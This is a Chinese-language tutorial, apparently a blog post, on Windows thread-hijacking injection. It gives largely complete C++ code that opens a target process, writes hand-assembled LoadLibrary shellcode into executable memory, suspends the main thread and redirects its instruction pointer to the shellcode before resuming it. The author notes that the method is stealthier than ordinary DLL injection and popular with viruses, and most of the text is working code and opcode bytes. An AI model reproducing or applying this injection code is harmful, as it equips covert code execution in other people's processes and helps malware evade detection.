0x00挂起线程注入原理
1.主要是shellcode注入进程后 要让他在获取线程上下文后,修改到我们写入的ShellCode处执行(修改Eip为ShellCode处的地址)2.含义 A->B B做操作在给到A //获得线程上下背景文 Ret = GetThreadContext(ThreadHandle, &OldContext); if (Ret==FALSE) { MessageBox("GetThreadContext 失败"); return; } NewContext = OldContext;//含义 A->B B做操作在给到A
#ifdef _WIN64 NewContext.Rip = (DWORD)AllocBuffer; OldEip = NewContext.Rip;#else NewContext.Eip = (DWORD)AllocBuffer;//下一指令到申请的内存空间处 OldEip = NewContext.Eip;#endif//;将指针指向ShellCode第一句push 12345678h中的地址,写入返回地址
Ret = WriteProcessMemory(ProcessHandle, ((char*)AllocBuffer) + 1, &OldEip, sizeof(DWORD), NULL); if (!Ret) {RETURN;}3.shellcode构造这种注入方式的思路:首先先向目标程序中写入我们的ShellCode,比如说写入LoadLibry加载我们的DLL。然后把目标进程中当主线程挂起,然后获取线程上下文,修改线程上下文中的EIP到我们写入的ShellCode处执行完代码,然后再设置为线程原来的上下文·继续执行,执行完成过后在目标中释放申请的空间。具体编程实现大致实现思路:
构造ShellCodeVirtualAllocEx在目标进程中申请空间,WriteProcessMemory写入ShellCode通过线程快照获取目标主线程OpenThread打开线程,SuspendThread挂起线程GetThreadContext获取目标主线程线程上下文SetThreadContext修改目标主线程上下文到我们写入的ShellCode处执行ResumeThread恢复线程让ShellCode执行VirtualFreeEx扫尾释放空间其实挂起线程注入的思路其实也是挺简单的,而且这种方式相对于常规的DLL注入,隐蔽性更高,一些病毒也比较喜欢用这种方式。
下面介绍详细的实现步骤。
0x01 挂起线程注入详细的编程实现由于这种注入方式要注入ShellCode,用C++实现比较麻烦一点因为要扣二进制,我也用汇编一个版本,在附件中,这里还是用C++?ShellCode的构造,LoudLibrary加载DLL//结构必须字节对齐1#pragma pack(1) typedef struct _INJECT_CODE{ BYTE byPUSH; DWORD dwPUSH_VALUE; BYTE byPUSHFD; BYTE byPUSHAD; BYTE byMOV_EAX; //mov eax, addr szDllpath DWORD dwMOV_EAX_VALUE; BYTE byPUSH_EAX; //push eax BYTE byMOV_ECX; //mov ecx, LoadLibrary DWORD dwMOV_ECX_VALUE; WORD wCALL_ECX; //call ecx BYTE byPOPAD; BYTE byPOPFD; BYTE byRETN; CHAR szDllPath[MAX_PATH];}INJECT_CODE, *PINJECT_CODE;#pragma pack() 利用C++注入不用考虑重定位的问题,因为C++中提供offsetof宏可以求出变量偏移,但是在汇编实现中就要考虑求变量的偏移了,如下图
其实在这注入方式中,最有学习意义的就是ShellCode的构造,我总结了一些我在构造ShellCode中学习到的知识点。
代码重定位 在目标进程中,要想实现API调用的难点其实就是传参数,因为我们的注入程序和目标进程中基址是不一样的,这样就注定了写入参数的地址不一样,这就涉及到重定位问题。经典的重定位代码。 Call $+5 ;将下一行的地址入栈,获得目标进程下一行的地址FIXADDR: ;这个是注入进程中地址Lable,用于求差值 Pop ebp ;弹出入栈的目标进程的地址 Sub ebp,FIXADDR ;求得目标进程与注入进程中的地址差值求出了目标进程和注入进程之间的地址差,就可以访问我们写入变量的地址了。
释放问题
一定要等所有的ShellCode执行完成再释放空间,否则会有同步问题,导致目标程序崩溃。?打开进程,写入ShellCode //打开进程 g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_dwPid); if (!g_hProcess) { MessageBox("OpenProcess 失败"); return; } g_lpBuffer=VirtualAllocEx(g_hProcess,NULL,0x1000,MEM_COMMIT,PAGE_EXECUTE_READWRITE); if (!g_lpBuffer) { MessageBox("VirtualAllocEx 失败"); return; }//给ShellCode结构体赋值
ic.byPUSH = 0x68; ic.dwPUSH_VALUE = 0x12345678; ic.byPUSHFD = 0x9C; ic.byPUSHAD = 0x60; ic.byMOV_EAX = 0xB8; ic.dwMOV_EAX_VALUE = (DWORD)g_lpBuffer + offsetof(INJECT_CODE, szDllPath); ic.byPUSH_EAX = 0x50; ic.byMOV_ECX = 0xB9; ic.dwMOV_ECX_VALUE = (DWORD)&LoadLibrary; ic.wCALL_ECX = 0xD1FF; ic.byPOPAD = 0x61; ic.byPOPFD = 0x9D; ic.byRETN = 0xC3; memcpy(ic.szDllPath, m_strDllPath.GetBuffer(0), m_strDllPath.GetLength());//写入ShellCode
bRet = WriteProcessMemory(g_hProcess, g_lpBuffer, &ic, sizeof(ic), NULL); if (!bRet) { MessageBox("写入内存失败"); return; }ƒ创建线程快照查找目标程序主线程
//创建线程快照查找目标程序主线程 te32.dwSize = sizeof(te32); hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hThreadSnap == INVALID_HANDLE_VALUE) { MessageBox("CreateToolhelp32Snapshot 失败"); return; }//遍历查询目标程序主线程ID
if (Thread32First(hThreadSnap, &te32)) { do { if (m_dwPid == te32.th32OwnerProcessID) { dwThreadId = te32.th32ThreadID; break; } } while (Thread32Next(hThreadSnap, &te32)); }④打开并且挂起目标主线程,获取线程上下文,修改Eip为ShellCode处的地址
//挂起目标主线程 bRet = SuspendThread(hThread);if (bRet == -1)
{ MessageBox("SuspendThread 失败"); return; }oldContext.ContextFlags = CONTEXT_FULL;
bRet = GetThreadContext(hThread, &oldContext); if (!bRet) { MessageBox("GetThreadContext 失败"); return; } newContext = oldContext;newContext.Eip = (DWORD)g_lpBuffer;
//;将指针指向ShellCode第一句push 12345678h中的地址,写入返回地址
bRet = WriteProcessMemory(g_hProcess, ((char*)g_lpBuffer) + 1, &oldContext.Eip, sizeof(DWORD), NULL); if (!bRet) { MessageBox("写入内存失败"); return; }⑤设置上下文,恢复线程跑起来bRet = SetThreadContext(hThread, &newContext);
if (!bRet)
{ MessageBox("SetThreadContext 失败"); return; }//然后把主线程跑起来
bRet = ResumeThread(hThread); if (bRet == -1) { MessageBox("ResumeThread 失败"); return; } ⑥扫尾工作,单独设了个函数清除目标进程中申请的空间,注意这个操作务必等待我们的ShellCode执行完再执行,否则会导致目标程序崩溃if (!VirtualFreeEx(g_hProcess, g_lpBuffer, 0, MEM_RELEASE)) { MessageBox("VirtualFreeEx 失败"); return; }MessageBox("释放对方空间成功");
详细源码见附件实验效果如下,Dll注入成功